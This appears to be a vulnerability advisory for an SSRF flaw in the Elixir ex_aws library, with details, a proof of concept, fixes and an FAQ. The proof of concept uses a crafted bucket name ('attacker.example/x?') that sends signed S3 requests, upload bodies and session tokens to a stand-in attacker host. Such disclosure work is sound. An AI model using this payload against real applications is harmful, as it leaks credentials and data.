CVE-2026-120720: S3 bucket name controls the request host in ex_aws virtual-host requests
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex-aws exaws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtualhost: true, ExAws.Operation.S3.addbuckettopath/2 in lib/exaws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucketashost: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects exaws: from 2.1.7 before 2.8.0.
Details
1. Host construction. In the virtualhost: true clause of ExAws.Operation.S3.addbuckettopath/2, the request host becomes "#{bucket}.#{host}". In the virtualhost: true, bucketashost: true clause it becomes the bucket name itself. Neither clause checks the bucket name.
2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.tostring/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney's parseurl/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.
3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker's host, so it cannot be replayed against AWS.
Proof of concept
1. Configure exaws for S3 with virtualhost: true. 2. Build an upload with an attacker-chosen bucket name: ExAws.S3.putobject("attacker.example/x?", "report.pdf", body). 3. addbuckettopath/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf. 4. ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf. 5. Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example.
Impact
An attacker who can choose the bucket name receives the application's signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.
Configurations
Reachable only when the S3 client is configured with virtualhost: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.
Solutions
Upgrading rejects bucket names containing characters that can change the request host. With bucketashost: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucketashost: true must also set the bucketashostallowlist S3 config option to the list of trusted hostnames.
Other sources
Server-Side Request Forgery (SSRF) vulnerability in ex-aws exaws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtualhost: true, ExAws.Operation.S3.addbuckettopath/2 in lib/exaws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucketashost: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects exaws: from 2.1.7 before 2.8.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
erlang/ex_awsto a version that resolves this vulnerability.Fixed in 2.8.0 - Upgrade
Upgrade
ex_awsto a version that resolves this vulnerability.Fixed in 2.8.0 - Configuration
When using bucket_as_host: true with bucket names that are not fully controlled, set bucket_as_host_allowlist to the list of trusted hostnames.
ex_aws S3 bucket_as_host_allowlist = list of trusted hostnames
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments using ex_aws versions from 2.1.7 before 2.8.0 are affected when they use virtual_host: true or bucket_as_host: true for S3 operations.
What does an attacker need to exploit this?
The attacker needs control over the S3 bucket name supplied to the application. With bucket_as_host: true, any valid hostname used as the bucket can redirect the request.
What can be exposed if exploitation succeeds?
The attacker can receive upload bodies, the access key ID, request signature, and any STS session token. They can also control the response that the application parses.
What should teams do if they cannot immediately upgrade?
Avoid using virtual_host: true and bucket_as_host: true with bucket names that an attacker can control. Upgrade ex_aws to 2.8.0 or later when possible.
How can I identify potentially affected usage?
Check whether the application uses an ex_aws version earlier than 2.8.0 and enables virtual_host: true or bucket_as_host: true. Prioritize paths where bucket names originate from users or other untrusted sources.